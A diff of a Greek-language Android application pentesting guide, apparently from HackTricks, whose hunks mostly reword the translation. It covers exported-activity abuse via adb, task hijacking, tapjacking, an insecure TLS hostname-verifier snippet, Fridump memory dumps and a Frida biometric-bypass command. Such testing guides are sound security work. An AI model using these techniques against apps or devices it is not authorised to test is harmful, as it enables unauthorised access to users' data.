 - **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
-- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένος ο εντοπισμός USB.
-- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κίνηση HTTP για συγκεκριμένα domains.
-- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
+- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
+- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
+- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
 - **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
 - **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
 - **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
@@ -76,7 +76,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 
 ### Tapjacking
 
-**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
+**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
 Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
 
 Βρείτε περισσότερες πληροφορίες στο:
@@ -85,9 +85,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 tapjacking.md
 {{#endref}}
 
-### Hijacking Εργασιών
+### Task Hijacking
 
-Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
+Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
 
 Περισσότερες πληροφορίες στο:
 
@@ -99,10 +99,10 @@ android-task-hijacking.md
 
 **Εσωτερική Αποθήκευση**
 
-Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
+Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να είναι **κοινά** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
 
 1. **Στατική Ανάλυση:**
-- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` **εξετάζεται προσεκτικά**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένη ή μη εξουσιοδοτημένη πρόσβαση**.
+- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
 2. **Δυναμική Ανάλυση:**
 - **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
 
@@ -120,14 +120,14 @@ android-task-hijacking.md
 - Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα.
 - Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
 
-Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** σε `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
+Η εξωτερική αποθήκευση μπορεί να προσπελαστεί στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 
 > [!NOTE]
-> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
+> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
 
 **Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
 
-- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα αρχεία xml στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
+- **Κοινές ρυθμίσεις**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
 - **Βάσεις Δεδομένων**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα βάσεις δεδομένων sqlite στη διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι δυνατό να βρείτε ευαίσθητες πληροφορίες σε καθαρό κείμενο σε αυτόν τον φάκελο.
 
 ### Σπασμένο TLS
@@ -153,7 +153,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 
 ### Άλλοι έλεγχοι
 
-- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
+- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
 - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
 - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
 - Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
@@ -185,7 +185,7 @@ react-native-application.md
 
 Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**.
 
-### Μυστικά που διέρρευσαν
+### Μυστικά που διαρρέουν
 
 Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
 
@@ -218,7 +218,7 @@ content-protocol.md
 
 ### Online Δυναμική ανάλυση
 
-Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και **να εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
+Μπορείτε να δημιουργήσετε έναν **δωρεάν λογαριασμό** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **ανεβάσετε** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
 
 Μπορείτε ακόμη να **δείτε τα logs της εφαρμογής σας** στο διαδίκτυο και να συνδεθείτε μέσω **adb**.
 
@@ -230,7 +230,7 @@ content-protocol.md
 
 #### Χρησιμοποιώντας έναν εξομοιωτή
 
-- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
+- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
 - Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
 
 {{#ref}}
@@ -260,13 +260,13 @@ avd-android-virtual-device.md
 5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
 
 > Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
-> Θα προτείνω να **εκτελέσετε αυτή την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
+> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF δυναμική ανάλυση + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
 
 ### Ακούσια Διαρροή Δεδομένων
 
 **Καταγραφή**
 
-Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
+Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί στην έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
 
 > [!WARNING]
 > Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
@@ -274,17 +274,17 @@ avd-android-virtual-device.md
 
 **Caching του Buffer Αντιγραφής/Επικόλλησης**
 
-Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικής κάρτας, για να αποτρέψετε διαρροές δεδομένων.
+Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων.
 
 **Crash Logs**
 
-Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
+Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
 
 Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
 
 **Δεδομένα Analytics που αποστέλλονται σε τρίτους**
 
-Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
+Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν κατά λάθος **ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
 
 ### SQLite DBs
 
@@ -303,7 +303,7 @@ avd-android-virtual-device.md
 ### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
 
 [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
-Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
+Επίσης, θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
 
 **Παράκαμψη εξουσιοδότησης**
 
@@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 
 #### Tapjacking
 
-Αν το tapjacking δεν προληφθεί, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking).
+Αν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking).
 
 ### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
 
@@ -387,19 +387,19 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
 
 Ένα [ενδιαφέρον bug bounty report](https://hackerone.com/reports/855618) σχετικά με συνδέσμους (_/.well-known/assetlinks.json_).
 
-### Αποτυχίες Επιθεώρησης και Επαλήθευσης Επίπεδου Μεταφοράς
+### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
 
 - **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
 - **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
-- **Η διαρροή ιδιωτικών πληροφοριών** είναι κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
+- **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
 
 #### Επαλήθευση Πιστοποιητικού
 
-Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σε σημαντικό κίνδυνο. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
+Θα επικεντρωθούμε στην **επαλήθευση πιστοποιητικού**. Η ακεραιότητα του πιστοποιητικού του διακομιστή πρέπει να επαληθεύεται για να ενισχυθεί η ασφάλεια. Αυτό είναι κρίσιμο γιατί οι ανασφαλείς ρυθμίσεις TLS και η μετάδοση ευαίσθητων δεδομένων μέσω μη κρυπτογραφημένων καναλιών μπορεί να θέσουν σημαντικούς κινδύνους. Για λεπτομερείς οδηγίες σχετικά με την επαλήθευση πιστοποιητικών διακομιστή και την αντιμετώπιση ευπαθειών, [**αυτή η πηγή**](https://manifestsecurity.com/android-application-security-part-10/) παρέχει εκτενή καθοδήγηση.
 
 #### SSL Pinning
 
-Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την πρόληψη επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
+Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με βάση μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή του SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες.
 
 #### Επιθεώρηση Κίνησης
 
@@ -423,11 +423,11 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
 
 ### Frida
 
-[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής εργονομίας για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
+[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
 **Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
 Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
 
-- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/)
+- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
 - Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 - Ojection είναι εξαιρετικό για την αυτοματοποίηση της χρήσης του Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Μπορείτε να βρείτε μερικά καταπληκτικά σενάρια Frida εδώ: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@@ -435,7 +435,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
 
 ### **Dump Memory - Fridump**
 
-Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει όπως κωδικούς πρόσβασης ή μνημονικά.
+Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή μνημονικά.
 
 Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με:
 ```bash
@@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 
 Τα στιγμιότυπα συνήθως αποθηκεύονται γύρω από: **`/data/system_ce/0/snapshots`**
 
-Το Android παρέχει έναν τρόπο να **αποτρέψει την καταγραφή στιγμιότυπων οθόνης ρυθμίζοντας την παράμετρο διάταξης FLAG_SECURE**. Χρησιμοποιώντας αυτή τη σημαία, το περιεχόμενο του παραθύρου θεωρείται ασφαλές, αποτρέποντας την εμφάνιση σε στιγμιότυπα οθόνης ή την προβολή σε μη ασφαλείς οθόνες.
